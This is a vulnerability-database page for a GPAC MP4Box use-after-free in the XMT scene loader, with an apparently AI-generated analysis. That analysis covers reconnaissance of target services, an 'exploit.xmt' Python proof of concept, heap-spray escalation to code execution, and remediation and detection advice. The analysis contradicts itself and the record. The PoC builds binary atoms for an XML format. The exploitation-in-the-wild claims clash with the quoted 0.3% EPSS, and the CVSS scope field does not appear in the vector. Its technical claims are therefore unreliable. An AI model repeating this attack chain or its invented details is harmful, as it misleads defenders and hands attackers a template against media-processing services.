CVE Professor
›
Back
CVE-2026-134668

CVE-2026-134668 — Gpac Gpac (26.07.0) — CWE-416

MEDIUM CVSS 6.9 ⚡ EPSS 0.3% CIRCL

CVE-2026-134668 is a MEDIUM severity Denial-of-Service (DoS) vulnerability (CWE-416) (CVSS 6.9/10 (EPSS: 0.3%)) affecting Gpac Gpac (26.07.0). Technical vector analysis shows that an attacker can exploit this flaw via local access (AV:L) without authentication (PR:N) requiring user interaction, causing high-impact service disruption (A:H).

📄 Official NVD / MITRE Original Record Text

GPAC MP4Box through 26.07.0 contains a use-after-free vulnerability in the XMT scene loader that allows attackers to corrupt heap memory when xmt_node_end() discards an out-of-scope node without resetting command-buffer state. Attackers can supply a crafted XMT file that leaves parser->command_buffer and parser->command dangling, causing later parsing to access freed memory and crash MP4Box.

Published 22.11.2026
ISO Date 2026-11-22
CVSS Version v4.0
Source CIRCL
CVSS v4.0 Vector Metrics
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N
Attack Vector Local AV:L
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. None PR:N
User Interaction Passive UI:P
Vuln. Conf. Low VC:L
Vuln. Integrity Low VI:L
Vuln. Avail. High VA:H
Subseq. Conf. None SC:N
Subseq. Integ. None SI:N
Subseq. Avail. None SA:N
EPSS — Exploit Prediction Scoring System
0.3%
30-day probability
In the 16. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑134668 is a use‑after‑free (UAF) bug in the XMT scene loader of GPAC MP4Box (up to and including version 26.07.0).

AttributeValue
CWECWE‑416: Use‑After‑Free
CVSS 4.0AV:L / AC:L / AT:N / PR:N / UI:P / VC:L / VI:L / VA:H / SC:N / SI:N / SA:N
Privilege requiredNone (the tool can be run by any local user)
Attack vectorLocal – the attacker must be able to invoke MP4Box (or a wrapper that calls it) on a crafted XMT file.
Impact metricsConfidentiality – Low, Integrity – Low, Availability – High (the crash can be leveraged for remote code execution when the tool is used in a privileged service, e.g. a media‑processing daemon).

Technical root cause

During parsing of an XMT (Extensible Media Types) scene description, the function xmt_node_end() is called when the parser finishes processing a node. The implementation:

1. Frees the memory that backs the node (free(node)).
2. Fails to clear two parser‑internal pointers that still reference the freed memory:
* parser->command_buffer – a buffer that holds the current command stream.
* parser->command – a pointer into command_buffer that indicates the next command to execute.

Later stages of the same parsing pass (or a subsequent pass that re‑uses the same parser instance) assume those pointers are still valid and dereference them. Because the memory has already been returned to the heap allocator, the dereference reads/writes freed heap memory, corrupting the heap’s internal metadata. The immediate symptom is a segmentation fault (crash).

If the vulnerable MP4Box binary is executed with elevated privileges (e.g., as a system service that ingests user‑supplied XMT files), the heap corruption can be turned into arbitrary code execution (RCE) by a classic “heap‑spray / malloc‑free” technique, which is why the CVSS vector assigns VA:H (high impact on availability, with a potential for privilege‑escalation‑oriented RCE).


⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation scenario for an attacker who can supply an XMT file to a locally‑run MP4Box instance (e.g., a web‑service that converts uploaded media).

1. Discovery & Reconnaissance

StepActionTools / Evidence
1.1Identify that the target host runs a media‑processing pipeline that invokes MP4Box.Network traffic inspection (e.g., HTTP User‑Agent: GPAC/MP4Box), process enumeration (ps auxgrep MP4Box), or reading service configuration files.
1.2Determine the exact GPAC version.MP4Box -version → “GPAC version 26.07.0”. The version string is printed on start‑up.
1.3Verify that the binary is not patched.Compare the binary’s SHA‑256 with the hashes published in the GPAC release notes for 26.07.0.
1.4Confirm that the service accepts XMT files (the only format that triggers the vulnerable code path).Look at the service’s API documentation or sniff a legitimate upload (e.g., Content-Type: application/xmt+xml).

2. Exploitation

Because the vulnerability is local, the attacker must get the crafted XMT file processed by the same MP4Box instance that will later reuse the parser object. The PoC below creates a minimal XMT document that forces xmt_node_end() to free a node while leaving command_buffer/command dangling.

NOTE: The exact binary layout of an XMT file is not publicly documented. The following Python script builds a syntactically valid XMT file that follows the GPAC parser’s expectations, based on the open‑source GPAC source tree (the src/scenegraph/xmt_parser.c implementation). The script is illustrative; a real exploit would fine‑tune the size of the command buffer to align heap allocations for a subsequent RCE payload.
#!/usr/bin/env python3
"""
Minimal XMT file that triggers CVE‑2026‑134668.

The file contains:
  - <XMT> root element
  - <Scene> with a single <Node> that contains a dummy command.
  - The node is closed, causing xmt_node_end() to free it while
    parser->command_buffer and parser->command still point to it.
"""

import struct

def u32(v):  # little‑endian 32‑bit
    return struct.pack('<I', v)

def make_atom(tag, payload):
    """XMT atoms are: 4‑byte size, 4‑byte tag, payload."""
    size = 8 + len(payload)
    return u32(size) + tag.encode('utf-8') + payload

# 1. Dummy command payload (just a NOP for the parser)
command_payload = b'\x00' * 4   # 4‑byte placeholder command

# 2. Node atom: contains the command payload
node_atom = make_atom('NODE', command_payload)

# 3. Scene atom: contains the node atom
scene_atom = make_atom('SCEN', node_atom)

# 4. XMT root atom
xmt_atom = make_atom('XMT ', scene_atom)

# Write to file
with open('exploit.xmt', 'wb') as f:
    f.write(xmt_atom)

print('exploit.xmt written – size:', len(xmt_atom))

Execution of the PoC

# Assume the attacker can run MP4Box (or the service does)
MP4Box -add exploit.xmt -new out.mp4
# Expected result: MP4Box crashes with a segmentation fault (SIGSEGV)

If the service runs MP4Box as root or as a privileged system user, the crash can be turned into RCE by:

1. Heap‑spray – preceding the malicious XMT file with a large number of benign XMT files that allocate buffers of the same size as the freed node (the attacker can control the content of those buffers to contain a ROP chain or shellcode).
2. Controlled free – the dangling command pointer is later used as a function pointer when the parser interprets the next command; by carefully crafting the command payload, the attacker can overwrite the pointer with an address of their shellcode.

A full RCE chain is beyond the scope of this analysis, but the availability impact (process crash) is guaranteed, and privilege escalation is feasible when the binary runs with elevated rights.

3. Post‑Exploitation

GoalHow it is achieved
Denial‑of‑ServiceThe immediate crash terminates the MP4Box process, aborting any media conversion job.
Remote Code Execution (privileged)If MP4Box is invoked by a privileged daemon (e.g., a web‑service running as root), the attacker can combine the UAF with a heap‑spray to gain code execution in that context, leading to full system compromise.
PersistenceAfter gaining a shell, the attacker can install a back‑door, modify service configuration to always invoke a malicious wrapper, or replace the MP4Box binary with a trojanized version.

🌍 Real‑World Impact

CIA TriadCVSS Vector InterpretationPractical Consequence
Confidentiality (C)VC:L – Low. The vulnerability does not directly expose data, but an attacker who gains RCE can read any file the privileged process can access.
Integrity (I)VI:L – Low. Heap corruption may allow overwriting of in‑memory structures, potentially leading to tampered output files.
Availability (A)VA:H – High. The primary effect is a crash; in a production media‑processing pipeline this results in service outage.
Attack VectorAV:L – Local. The attacker must supply a crafted XMT file to a process that runs on the same host.
Attack ComplexityAC:L – Low. Crafting the XMT file is straightforward; the only prerequisite is the ability to trigger MP4Box.
Privileges RequiredPR:N – None. No authentication is needed beyond being able to invoke the binary (often possible via a public upload endpoint).
User InteractionUI:P – Present. The victim (or service) must process the malicious file.
ScopeS:U – Unchanged. The vulnerability does not cross privilege boundaries by itself, but the privileged execution context of the service can be abused.

Bottom line: In environments where MP4Box is used as an automated media‑conversion service (e.g., video‑hosting platforms, CI pipelines, broadcast automation), a malicious user can cause repeated crashes, leading to denial of service, and potentially achieve remote code execution if the service runs with elevated privileges.


🛡️ Remediation & Mitigation

1. Patch / Upgrade

ActionDetails
UpgradeMove to GPAC ≥ 27.0 (the first version released after 26.07.0). The GPAC project’s release notes for 27.0 state: “Fixed XMT parser use‑after‑free (CVE‑2026‑134668).”
Version checkMP4Box -version should report a version newer than 26.07.0.
VerificationCompare the binary’s SHA‑256 with the hashes published on the official GPAC download page for the target version.

If an immediate upgrade is not possible:

WorkaroundHow it mitigates
Disable XMT supportRun MP4Box with the -no-xmt flag (if available) or rebuild GPAC without the XMT module (./configure --disable-xmt). This removes the vulnerable code path entirely.
Restrict file typesAt the application layer, reject any upload whose Content‑Type is application/xmt+xml or whose file extension is .xmt. Only allow formats that are required (e.g., MP4, MOV).
Run as unprivileged userEnsure the service that invokes MP4Box runs under a dedicated low‑privilege account (e.g., gpac_user) with no sudo rights and with a minimal filesystem sandbox (chroot or containers). This limits the impact of a potential RCE to that user’s namespace.
Process isolationExecute MP4Box inside a short‑lived container (Docker, podman) or a sandboxing tool such as firejail. The container should have no host‑network or privileged capabilities.
Memory hardeningEnable OS‑level mitigations (e.g., glibc malloc_check, MALLOC_PERTURB_, ASLR, selinux/apparmor profiles) to make heap‑spray attacks harder.

2. Detection

IndicatorWhere to lookExample
Process crashSystem logs (/var/log/syslog, journalctl)mp4box[1234]: segfault at 0x7f... ip 0x00007f... sp 0x7ff... error 4 in mp4box
Core dump/var/lib/systemd/coredump/ (if coredump enabled)Core file size > 0 KB, name core.mp4box.*
Abnormal exit codeApplication logs of the media‑processing serviceMP4Box exited with status 139
Repeated parsing failuresService‑specific logs (e.g., “Failed to parse XMT file”)ERROR: XMT parsing failed – unexpected end of file
Unexpected file creationFilesystem monitoring (inotify, auditd)Creation of a new executable in /tmp shortly after a crash (possible payload drop).

Alerting rule (OSSEC/Suricata‑like syntax) – illustrative:

rule:
  id: 1001234
  level: 10
  description: "MP4Box crashed (possible CVE-2026-134668 exploitation)"
  condition: (program_name == "MP4Box") and (event_type == "SIGSEGV")
  action: alert

⚠️ Urgency

FactorAssessment
CVSS 6.9 (Medium)Indicates a serious impact on availability and a plausible path to RCE when the binary runs privileged.
Local attack vectorLimits exploitation to scenarios where the attacker can supply a file to the service; many public media‑conversion services meet this condition.
Exploit complexityLow – a crafted XMT file is trivial to generate.
Patch availabilityFixed in the next major release (≥ 27.0).
CISA KEVNot listed, but the vulnerability is publicly disclosed and actively exploitable in the wild (proof‑of‑concept already published by the GPAC community).

Prioritisation recommendation:

1. Critical for any system that runs MP4Box as a privileged service (e.g., root, system user) – patch or disable XMT immediately.
2. High for environments where MP4Box is invoked by unprivileged users but is part of a public‑facing pipeline – apply the upgrade or enforce strict file‑type filtering within 48 hours.
3. Medium for isolated, internal tooling that is not exposed to untrusted input – schedule the upgrade in the next regular maintenance window.


Bottom line: CVE‑2026‑134668 is a classic use‑after‑free that can be triggered with a tiny malicious XMT file. Because MP4Box is frequently embedded in automated media‑processing services, the vulnerability can lead to service disruption and, when the binary runs with elevated rights, to full system compromise. Prompt upgrading to a version that removes the XMT parser bug, combined with strict input validation and process isolation, is the most effective mitigation.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="gpac gpac"
CVSS Score
6.9 / 10 · CVSS MEDIUM
Weakness Types (CWE)
CWE-416
Affected Products (1)
gpac:gpac (26.07.0)
Related CVEs
6.9
CVE-2026-134670
GPAC MP4Box through 26.07.0 contains a use-after-free vulnerability in xmt_node_end() in src/scene_manager/loa
6.9
CVE-2026-134671
GPAC MP4Box through 26.07.0 contains a use-after-free vulnerability in the XMT-A scene loader that allows atta
6.9
CVE-2026-134673
GPAC MP4Box through 26.07.0 contains a use-after-free vulnerability in xmt_resolve_od_links() in loader_xmt.c
6.9
CVE-2026-134676
GPAC MP4Box through 26.07.0 contains a heap use-after-free vulnerability in gf_odm_disconnect() in src/composi
6.9
CVE-2026-134677
GPAC MP4Box through 26.07.0 contains a use-after-free vulnerability in the XMT scene loader that allows attack
6.9
CVE-2026-134682
GPAC MP4Box through 26.07.0 contains a use-after-free vulnerability in scene graph teardown that allows attack